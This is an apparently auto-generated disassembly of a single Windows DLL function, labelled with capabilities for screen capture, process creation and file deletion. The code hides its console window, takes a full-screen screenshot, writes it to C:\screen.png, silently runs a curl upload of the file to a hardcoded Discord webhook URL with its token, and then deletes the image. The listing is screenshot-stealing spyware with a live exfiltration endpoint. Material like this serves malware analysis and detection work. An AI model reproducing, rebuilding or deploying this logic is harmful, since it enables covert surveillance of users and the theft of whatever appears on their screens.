Function at 0x180040290
Capabilities:
Capture screenshot
Create process on windows
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x290]
sub rsp, 0x390
mov rax, qword [0x180427040]
xor rax, rsp
mov qword [rbp + 0x280], rax
xor r15d, r15d
mov dword [rsp + 0x70], r15d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe0], xmm1
mov r8d, 0x10
lea rdx, str.curl__F__file1_
lea rcx, [rbp + 0xd0]
call fcn.180037bd0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
mov r8d, 0xd
lea rdx, str.C:_screen.png
lea rcx, [rbp + 0x20]
call fcn.180037bd0
nop
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov esi, eax
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebx, eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov r14, rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov rdi, rax
mov r8d, ebx
mov edx, esi
mov rcx, r14
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov r12, rax
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.GDI32.dll_SelectObject]
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], ebx
mov r9d, esi
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.GDI32.dll_BitBlt]
mov rcx, rdi
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb0], xmm1
mov r13d, r15d
mov qword [rbp + 0xc0], r15
mov qword [rsp + 0x78], r15
lea r8, [rsp + 0x78]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm0
lea rax, vtable.ATL::CImage.0
mov qword [rbp + 0x40], rax
mov dword [rbp + 0x70], 0xffffffff
mov qword [rbp + 0x78], r15
mov dword [rbp + 0x80], r15d
mov qword [rbp + 0x88], r15
call fcn.18003fe10
mov rbx, rax
lea rcx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
inc dword [rbx + 0x30]
lea rcx, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
nop
mov qword [rbp + 0x48], r12
lea r8, [rbp - 0x50]
mov edx, 0x68
mov rcx, r12
call qword [sym.imp.GDI32.dll_GetObjectW]
cmp eax, 0x68
jne 0x1800404c3
mov byte [rbp + 0x68], 1
mov eax, dword [rbp - 0x2c]
mov dword [rbp + 0x58], eax
mov r8d, dword [rbp - 0x28]
mov r9d, r8d
neg r9d
cmovs r9d, r8d
mov dword [rbp + 0x5c], r9d
movzx ecx, word [rbp - 0x22]
mov dword [rbp + 0x64], ecx
imul eax, ecx
add eax, 0x1f
cdq
and edx, 0x1f
add eax, edx
sar eax, 5
shl eax, 2
mov dword [rbp + 0x60], eax
mov r10, qword [rbp - 0x38]
mov qword [rbp + 0x50], r10
test r8d, r8d
jle 0x1800404e2
lea ecx, [r9 - 1]
imul ecx, eax
movsxd rdx, ecx
add rdx, r10
mov qword [rbp + 0x50], rdx
neg eax
mov dword [rbp + 0x60], eax
jmp 0x1800404e2
mov byte [rbp + 0x68], 0
mov eax, dword [rbp - 0x4c]
mov dword [rbp + 0x58], eax
mov eax, dword [rbp - 0x48]
mov dword [rbp + 0x5c], eax
movzx eax, word [rbp - 0x3e]
mov dword [rbp + 0x64], eax
mov dword [rbp + 0x60], r15d
mov qword [rbp + 0x50], r15
mov dword [rbp + 0x6c], 0xffffffff
mov byte [rbp + 0x69], 0
mov rdx, qword [rsp + 0x78]
lea rcx, [rbp + 0x40]
call fcn.18003ff90
lea rdx, [rbp + 0xc8]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.SHLWAPI.dll_IStream_Size]
mov ebx, dword [rbp + 0xc8]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.SHLWAPI.dll_IStream_Reset]
mov edx, ebx
test ebx, ebx
je 0x180040537
lea rcx, [rbp + 0xb0]
call fcn.180047370
mov r13, qword [rbp + 0xc0]
mov r8d, ebx
mov r15, qword [rbp + 0xb0]
mov rdx, r15
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.SHLWAPI.dll_IStream_Read]
xor edx, edx
mov r8d, 0x118
lea rcx, [rbp + 0xf0]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x180415360]
mov qword [rbp + 0xf0], rax
lea rax, [0x180415138]
mov qword [rbp + 0x100], rax
lea rcx, [rbp + 0x1a8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x70], 1
xor r8d, r8d
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0xf0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xf0], rax
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb8]
mov dword [rbp + rcx + 0xec], edx
lea rcx, [rbp + 0x108]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x108], rax
mov byte [rbp + 0x184], 0
mov byte [rbp + 0x179], 0
lea rcx, [rbp + 0x108]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
xor r10d, r10d
mov r9d, r10d
mov qword [rbp + 0x188], r10
mov rax, qword [0x1806822d8]
mov qword [rbp + 0x17c], rax
mov qword [rbp + 0x170], r10
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 7
cmova rdx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x30]
lea r14, [rdx + rax*2]
lea rsi, [rbp + 0x20]
cmova rsi, qword [rbp + 0x20]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
movabs rbx, 0x7fffffffffffffff
mov edi, 0xf
mov qword [rsp + 0x68], rdi
cmp rsi, r14
jne 0x180040688
xor esi, esi
mov qword [rsp + 0x60], rsi
mov byte [rsp + 0x50], sil
jmp 0x18004078b
sub r14, rsi
sar r14, 1
mov qword [rsp + 0x60], r10
cmp r14, rbx
ja 0x180040d73
cmp r14, rdi
jbe 0x18004073b
mov rdi, r14
or rdi, 0xf
cmp rdi, rbx
jbe 0x1800406ee
mov rdi, rbx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.180047b4c
mov rcx, rax
test rax, rax
je 0x18004092a
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x68], rdi
jmp 0x180040740
mov eax, 0x16
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x180040712
mov rax, r10
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x68], rdi
jmp 0x180040740
cmp rcx, 0x1000
jb 0x18004072a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180040d79
jmp 0x1800406c2
call fcn.180047b4c
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x68], rdi
jmp 0x180040740
mov rax, qword [rsp + 0x50]
lea r8, [rsp + 0x50]
cmp rdi, 0xf
cmova r8, rax
mov rcx, r8
mov rdx, r14
test r14, r14
je 0x180040773
nop dword [rax + rax]
movzx eax, byte [rsi]
mov byte [rcx], al
lea rcx, [rcx + 1]
lea rsi, [rsi + 2]
sub rdx, 1
jne 0x180040760
mov qword [rsp + 0x60], r14
mov byte [r8 + r14], 0
mov r9, qword [rbp + 0x188]
mov rdi, qword [rsp + 0x68]
xor esi, esi
lea rcx, [rsp + 0x50]
cmp rdi, 0xf
cmova rcx, qword [rsp + 0x50]
test r9, r9
jne 0x1800408d2
mov edx, 0x22
mov r8d, 0x40
call qword [sym.imp.MSVCP140.dll_struct__iobuf____ptr64___cdecl_std::_Fiopen_char_const____ptr64__int__int_]
mov rdi, rax
test rax, rax
je 0x1800408d2
mov byte [rbp + 0x184], 1
mov byte [rbp + 0x179], 0
lea rcx, [rbp + 0x108]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x70], rsi
mov qword [rsp + 0x70], rsi
lea r9, [rsp + 0x70]
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__get_stream_buffer_pointers]
mov r9, qword [rsp + 0x70]
mov qword [rsp + 0x30], r9
mov r8, qword [rbp - 0x70]
mov qword [rsp + 0x28], r8
mov rdx, qword [rbp - 0x80]
mov qword [rsp + 0x20], rdx
lea rcx, [rbp + 0x108]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64__char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64____ptr64]
mov qword [rbp + 0x188], rdi
mov rax, qword [0x1806822d8]
mov qword [rbp + 0x17c], rax
mov qword [rbp + 0x170], rsi
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x108]
call qword [sym.imp.MSVCP140.dll_public:_class_std::locale___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::getloc_void____ptr64]
nop
mov rcx, rax
call fcn.180045c30
mov rdi, rax
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::codecvt_base::always_noconv_void_const___ptr64]
test al, al
je 0x180040876
mov qword [rbp + 0x170], rsi
jmp 0x18004088b
mov qword [rbp + 0x170], rdi
lea rcx, [rbp + 0x108]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
nop
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x1800408b0
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x1800408b0
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xf0]
add rcx, rax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x1800408f6
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xf0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x180040936
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180040931
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180040931
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180047fc8
mov r8, qword [rbp + 0xb8]
sub r8, r15
mov rdx, r15
lea rcx, [rbp + 0x100]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x108]
call fcn.180044c50
test rax, rax
jne 0x180040984
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xf0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [rbp - 0x80]
call fcn.180039d70
movabs rcx, 0x7ffffffffd9da5ff
mov rax, qword [rbp - 0x80]
cmp rax, rcx
jge 0x1800409a7
lea rbx, [rax + 0x2625a00]
lea rcx, [rsp + 0x70]
call fcn.180039d70
mov rax, qword [rsp + 0x70]
cmp rax, rbx
jge 0x180040a1f
movabs rdi, 0x4e94914f0000
movabs r14, 0x431bde82d7b634db
nop
mov rcx, rbx
sub rcx, rax
cmp rcx, rdi
jle 0x1800409e2
mov edx, 0x5265c00
jmp 0x180040a04
mov rax, r14
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x180040a04
inc edx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
lea rcx, [rsp + 0x70]
call fcn.180039d70
mov rax, qword [rsp + 0x70]
cmp rax, rbx
jl 0x1800409d0
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0xd0]
lea rcx, [rsp + 0x50]
call fcn.1800456a0
nop
mov r8d, 0x7b
lea rdx, str.__https:__discord.com_api_webhooks_1276009601422065706_lsU7RpCZ0kqw50yDCaUvoQci9ALLZ5HYqyb4WFraLzK2mpurZkLikqTobOyIelWPt9Qn
mov rcx, rax
call fcn.180044850
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x180040ac8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180040ac3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180040ac3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180047fc8
mov dword [rbp + 0x210], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 0x218], xmm0
movups xmmword [rbp + 0x228], xmm0
movups xmmword [rbp + 0x238], xmm0
movups xmmword [rbp + 0x248], xmm0
movups xmmword [rbp + 0x258], xmm0
movups xmmword [rbp + 0x268], xmm0
mov dword [rbp + 0x24c], 1
mov word [rbp + 0x250], si
lea rdx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 7
cmova rdx, qword [rbp + 0x90]
lea rax, [rbp - 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x210]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x180040b87
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.GDI32.dll_DeleteObject]
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], 7
cmova rcx, qword [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdx, qword [rbp + 0xa8]
cmp rdx, 7
jbe 0x180040bed
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180040be8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180040be8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180047fc8
movdqa xmm0, xmmword [0x180415600]
movdqu xmmword [rbp + 0xa0], xmm0
mov word [rbp + 0x90], si
lea rcx, [rbp + 0xf0]
call fcn.180040d80
nop
mov rcx, qword [rbp + 0x48]
test rcx, rcx
je 0x180040c20
call qword [sym.imp.GDI32.dll_DeleteObject]
call fcn.18003fe10
mov rbx, rax
lea rcx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub dword [rbx + 0x30], 1
jne 0x180040c5d
lea rcx, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, qword [rbx]
test rcx, rcx
je 0x180040c50
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
mov qword [rbx], rsi
lea rcx, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
nop
test r15, r15
je 0x180040ca4
sub r13, r15
mov rax, r15
cmp r13, 0x1000
jb 0x180040c98
add r13, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180040c98
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, r13
mov rcx, r15
call fcn.180047fc8
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 7
jbe 0x180040ce7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180040ce2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180040ce2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180047fc8
movdqa xmm0, xmmword [0x180415600]
movdqu xmmword [rbp + 0x30], xmm0
mov word [rbp + 0x20], si
mov rdx, qword [rbp + 0xe8]
cmp rdx, 7
jbe 0x180040d41
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180040d3c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180040d3c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180047fc8
xor eax, eax
mov rcx, qword [rbp + 0x280]
xor rcx, rsp
call fcn.180047890
lea r11, [rsp + 0x390]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.180032fb0
nop
call fcn.180003e20
int3